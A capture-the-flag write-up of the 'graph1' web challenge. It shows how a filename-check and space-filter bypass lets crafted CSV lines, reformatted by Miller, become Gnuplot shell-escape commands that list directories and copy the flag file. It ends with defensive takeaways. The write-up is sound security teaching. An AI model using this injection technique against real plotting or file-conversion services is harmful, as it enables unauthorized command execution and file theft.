- Published on
graph1
- Authors
- Name
- null_byte
Challenge overview
Graph1 is a web-based challenge where users can interact with an application that allows uploading CSV files, converting them, and generating graphs. The web interface includes functionalities that process files with Miller (mlr) and generate plots using Gnuplot. However, due to improper security measures, a command injection vulnerability exists, allowing us to execute arbitrary commands and gain unauthorized access.
Application structure
The application allows CSV files to be uploaded through the /data
route and graph generation via the /graph
route. The Flask web application contains multiple vulnerable functions, including improper input validation for filenames and insecure command execution through Gnuplot.
Analysis
Relevant code snippets
The vulnerable code for file uploads and conversion is in the convert()
function:
def convert(filename, contents):
for line in contents.rstrip('\n').split('\n'):
if ',' not in line or ' ' in line:
return False
with open(filename, 'w') as f:
f.write(contents)
out = run(
['sandbox.sh', 'mlr', '--icsvlite', '--opprint', '-N', 'cat', filename],
capture_output=True,
).stdout
with open(filename, 'wb') as f:
f.write(out)
return True
The uploaded file is processed by Miller (mlr
) using the --opprint
option, which transforms the data format, potentially affecting subsequent commands.
Graph rendering
The function gnuplot()
used in /graph
executes Gnuplot commands:
def gnuplot(in_filename, out_filename, points):
plot = f"""
set terminal png size 2048,512
set output '{out_filename}'
set nokey
plot '{in_filename}' with {points}
"""
p = Popen(['sandbox.sh', 'gnuplot'], text=True, stdin=PIPE, stderr=PIPE)
output = p.communicate(input=plot)[1:]
return p.returncode, output
The commands are passed to Gnuplot, allowing potential abuse through carefully crafted input files.
Crafting the exploit
Create a Valid CSV File
We first create a valid CSV file named data.csv:
1,2
3,4
5,6
This simple file serves as a valid input for the CSV processing function, which we later use in the Gnuplot commands.
Craft the Gnuplot file for Command Execution
The goal is to execute shell commands through Gnuplot by bypassing the checks. We create a malicious Gnuplot file to list the files in the parent directory and redirect the output to a file:
!ls,-la,..,>,files.txt
set,nokey
The first line is a shell command, using commas instead of spaces to bypass the convert()
function's checks for spaces. The second line is a valid Gnuplot command to satisfy Gnuplot syntax.
After processing through mlr --opprint
, the malicious file will look like:
!ls -la .. > files.txt
set nokey
This allows us to list the files and directories in the parent directory.
Upload files and trigger the vulnerability
- Upload
data.csv
:
Use a tool like Burp Suite to change theContent-Type
totext/csv
and uploaddata.csv
through the/data
endpoint. - Upload the Gnuplot file:
Rename the Gnuplot file to.gnuplot
to bypass filename checks, and upload it similarly. - Render the graph:
Visit the/graph
page, selectdata.csv
as the input file, enter a random output filename, and submit the form to generate the graph. - Retrieve the output:
The command output is saved tofiles.txt
. Visithttp://graph.chal.hackthe.vote/getfile/files.txt
to retrieve the directory listing.
Retrieve the flag file
From the directory listing, identify the directory containing the flag. Based on the source code we know that admin has such hash: 872bfdd01752ea2641a3e211db6127a7af1d9b44f1602780bbae465ccf4ac25e
. Then, create another malicious Gnuplot file to copy the flag to your working directory:
!cp,../872bfdd01752ea2641a3e211db6127a7af1d9b44f1602780bbae465ccf4ac25e/flag1.csv,flag1.csv
set,nokey
Flag:flag{contrived_scenario}
Conclusion
This challenge exploits multiple vulnerabilities, including improper filename validation and insecure command execution. By abusing the Gnuplot input and Miller processing, we were able to execute arbitrary commands and retrieve sensitive files from the server.
Key takeaways
- Input validation: Properly validate and sanitize all user inputs, especially filenames and file contents, to prevent injection attacks.
- Safe command execution: Avoid executing user-controlled input directly in shell commands. Use libraries that provide secure handling of subprocesses.
- File permissions: Ensure that sensitive files and directories are not accessible to unprivileged users.